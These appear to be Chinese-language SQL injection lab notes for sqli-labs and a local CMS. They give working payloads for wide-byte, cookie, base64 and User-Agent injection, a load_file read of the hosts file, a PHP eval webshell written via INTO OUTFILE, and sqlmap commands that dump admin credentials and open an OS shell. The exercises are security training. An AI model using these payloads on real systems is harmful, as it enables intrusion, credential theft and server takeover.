目录
1. 宽字节注入练习
练习: 以sqli-labs_32 关为例
http://192.168.5.140/sqli-labs-master/Less-32/?id=1
1.查看页面回显
2.输入单引号发现被服务器转义
-
单双引号被转义,没有其他过滤
-
将与数据库交互的数据字符编码设置为了GBK //通过上图
315c27
ascii码判断,通过查看后端代码确定
3.了解GBK编码
网址:https://www.qqxiuzi.cn/bianma/zifuji.php
GBK汉字编码方案为双字节编码,两个字节作为一个汉字。GBK 编码范围[8140,FEFE],可以通过汉字字符集编码查询。注意到5C 在GBK 编码的低位范围之内[40,FE]。在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字。
4.宽字节注入获取用户名密码
?id=2%81' and 1=2 union select 1,user(),database() --+
-
%81’的作用是为了绕过单引号的过滤,使后面的单引号起到闭合字符串的作用
2. HTTP 头部注入练习
练习1. Cookie 注入,sqli-labs-20
1.进入第20关,找到cookie注入点发送get请求
2.bp抓包
3.放到bp中更易观察
4.尝试注入
5.cookie注入成功,获取版本号和密码信息
Cookie: uname=Dumb' and 1=2 union select 1,version(),database() #;
练习2. base64 注入,sqli-labs-22
1.通过观察使用了base64编码
2.通过base64编码加密即可实现语句注入
Dumb" and 1=2 union select 1,version(),database()#
加密后:
RHVtYiIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksZGF0YWJhc2UoKSM=
练习3. User-Agent 注入,sqli-labs-18
AJEST' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
3. sql 注入读写文件
练习1. 利用sql 注入漏洞,读取hosts 文件
1.必须修改my.inmi配置文件,并重启mysq数据库才可以进行导入导出的操作。
2.读取hosts 文件
http://192.168.5.140/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,load_file('c:\windows\system32\drivers\etc\hosts') --+
练习2. 利用sql 注入漏洞,上webshell,并用蚁剑连接。
1.写入木马
http://192.168.5.140/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,"<?php @eval($_REQUEST[777])?>",3 into outfile "C:\\phpstudy\\WWW\\1.php" --+
2.kali中蚁剑连接
4. sqlmap练习
练习1. 利用sqlmap 注入得到网站后台管理员账密
sudo apt-get update
sudo apt-get install sqlmap //更新软件
中间可能网络问题需要更新ip地址(也可能和虚拟机挂起有关)
先要对软件进行更新,否则会报错提示版本信息错误
注入点:hppt://192.168.5.140/cms/show.php?id=33
sqlmap -u "http://192.168.5.140/cms/show.php?id=33"
//执行SQLMap工具,对目标URL地址进行SQL注入攻击。
sqlmap -u "http://192.168.5.140/cms/show.php?id=33" --dbs
//获取目标数据库的所有数据库名称。
sqlmap -u "http://192.168.5.140/cms/show.php?id=33" --current-db
//获取当前正在使用的数据库的名称。
sqlmap -u "http://192.168.5.140/cms/show.php?id=33" -D "cms" --tables
//获取名为"cms"的数据库中的所有表格名称。
sqlmap -u "http://192.168.5.140/cms/show.php?id=33" -D "cms" -T "cms_users" --columns
//获取名为"cms_users"的表格中的所有列的名称。
sqlmap -u "http://192.168.5.140/cms/show.php?id=33" -D "cms" -T "cms_users" -C "username,password" --dump
//从名为"cms_users"的表格中获取列"username"和"password"的数据,以shell格式输出。
练习2. post 注入,登录框
sqlmap -r /tmp/login.txt //进行 SQL 注入测试
sqlmap -r /tmp/post.txt --current-db //获取数据库名称
练习3. 利用sqlmap getshell。
sqlmap -u "http://192.168.5.140/cms/show.php?id=33" --os-shell
//进行 SQL 注入攻击,获取操作系统级别的 shell,允许执行操作系统命令。